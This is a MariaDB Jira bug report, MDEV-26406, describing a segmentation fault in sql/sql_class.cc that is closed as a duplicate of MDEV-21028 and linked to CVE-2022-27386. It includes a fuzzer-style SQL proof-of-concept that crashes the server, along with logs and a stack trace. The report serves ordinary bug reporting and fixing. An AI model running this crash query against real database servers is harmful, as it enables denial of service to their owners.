MariaDB Server MDEV-26406

A SEGV in sql/sql_class.cc

Details

Type:	Bug
Status:	CLOSED (View Workflow)
Priority:	Major
Resolution:	Duplicate
Affects Version/s:	10.7
Fix Version/s:	N/A
Component/s:	Data types
Labels:	None
Environment:	Linux version 5.13.0-1-MANJARO (builduser@LEGION) (gcc (GCC) 11.1.0, GNU ld (GNU Binutils) 2.36.1) #1 SMP PREEMPT Mon Jun 7 06:16:10 UTC 2021 x86_64

Description

PoC:

```
CREATE TABLE v0 ( v5 DATE , v4 TIME , v3 YEAR , v2 DATETIME , v1 TIMESTAMP ) SELECT
 SAVEPOINT v0 ;
 SELECT hex ( DEFAULT ( v1 ) ) FROM ( SELECT v1 FROM v0 GROUP BY v0 . v4 ) NEW ;
 SELECT * FROM v0 WHERE v4 IN ( SELECT EXP ( 16422771.000000 ) FROM v0 WHERE v2 IS
 SELECT * FROM v0 WHERE v3 = 'x' AND v2 LIKE 'x' ORDER BY v2 ;
 SHOW COLLATION LIKE 'x' ;
```

Log:

```
 2021-08-16 14:41:38 0 [Note] InnoDB: Compressed tables use zlib 1.2.11
2021-08-16 14:41:38 0 [Note] InnoDB: Number of pools: 1
2021-08-16 14:41:38 0 [Note] InnoDB: Using crc32 + pclmulqdq instructions
2021-08-16 14:41:38 0 [Note] mysqld: O_TMPFILE is not supported on /tmp (disabl
2021-08-16 14:41:38 0 [Note] InnoDB: Using liburing
2021-08-16 14:41:38 0 [Note] InnoDB: Initializing buffer pool, total size = 134
2021-08-16 14:41:38 0 [Note] InnoDB: Completed initialization of buffer pool
2021-08-16 14:41:38 0 [Note] InnoDB: 128 rollback segments are active.
2021-08-16 14:41:38 0 [Note] InnoDB: Creating shared tablespace for temporary t
2021-08-16 14:41:38 0 [Note] InnoDB: Setting file './ibtmp1' size to 12 MB. Phy
2021-08-16 14:41:38 0 [Note] InnoDB: File './ibtmp1' size is now 12 MB.
2021-08-16 14:41:38 0 [Note] InnoDB: 10.7.0 started; log sequence number 42161;
```

```
2021-08-16 14:41:38 0 [Note] InnoDB: Loading buffer pool(s) from /home/fuboat/m
2021-08-16 14:41:38 0 [Note] Plugin 'FEEDBACK' is disabled.
2021-08-16 14:41:38 0 [Note] InnoDB: Buffer pool(s) load completed at 210816 14
2021-08-16 14:41:38 0 [Note] Server socket created on IP: '0.0.0.0'.
2021-08-16 14:41:38 0 [Note] Server socket created on IP: '::'.
2021-08-16 14:41:38 0 [Note] /usr/local/mysql/bin//mysqld: ready for connection
```

Coredump:

```
GNU gdb (GDB) 10.2

Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /usr/local/mysql/bin//mysqld...
[New LWP 3402272]
[New LWP 3390160]
```

Issue Links

duplicates

MDEV-21028 Server crashes in Query_arena::set_query_arena upon SELE... CLOSED

links to

CVE-2022-27386

Activity

Alice Sherepa added a comment - 2021-08-25 12:00

thanks! I could repeat the crash on 10.2-10.6.
it looks like this is the same bug as ~~MDEV-21028~~, but there is no views involved in the test, so I will add the test case there - to be checked after the patch

10.2 1f1d5606e08c928e3da98b

```
210825 13:58:43 [ERROR] mysqld got signal 11 ;

Server version: 10.2.41-MariaDB-debug-log

sigaction.c:0(__restore_rt)[0x7f52853423c0]
sql/sql_class.cc:3564(Query_arena::set_query_arena(Query_arena*))[0x55aaf0
sql/sql_class.cc:3655(THD::set_n_backup_active_arena(Query_arena*, Query_a
sql/field.cc:2457(Field::set_default())[0x55aaf1265aff]
sql/item.cc:9041(Item_default_value::calculate())[0x55aaf12c49a1]
sql/item.cc:9047(Item_default_value::val_str(String*))[0x55aaf12c4a02]
sql/item_strfunc.cc:3675(Item_func_hex::val_str_ascii(String*))[0x55aaf135
sql/item_strfunc.cc:82(Item_func::val_str_from_val_str_ascii(String*, Stri
sql/item_strfunc.h:95(Item_str_ascii_func::val_str(String*))[0x55aaf124853
sql/item.cc:6908(Item::send(Protocol*, String*))[0x55aaf12be653]
sql/protocol.cc:992(Protocol::send_result_set_row(List<Item>*))[0x55aaf0f3
sql/sql_class.cc:2788(select_send::send_data(List<Item>&))[0x55aaf0fc838e]
sql/sql_select.cc:20067(end_send(JOIN*, st_join_table*, bool))[0x55aaf1084
sql/sql_select.cc:18396(do_select(JOIN*, Procedure*))[0x55aaf108118a]
```

People

Assignee:

Unassigned

Reporter:

Zhiyong Wu

Votes:

0 Vote for this issue

Watchers:

3 Start watching this issue

Dates

Created:

2021-08-19 02:19

Updated:

2022-04-13 13:03

Resolved:

2021-08-25 12:01

Git Integration

Error rendering 'com.xiplink.jira.git.jira_git_plugin:git-issue-webpanel'. Please contact your Jira administrators.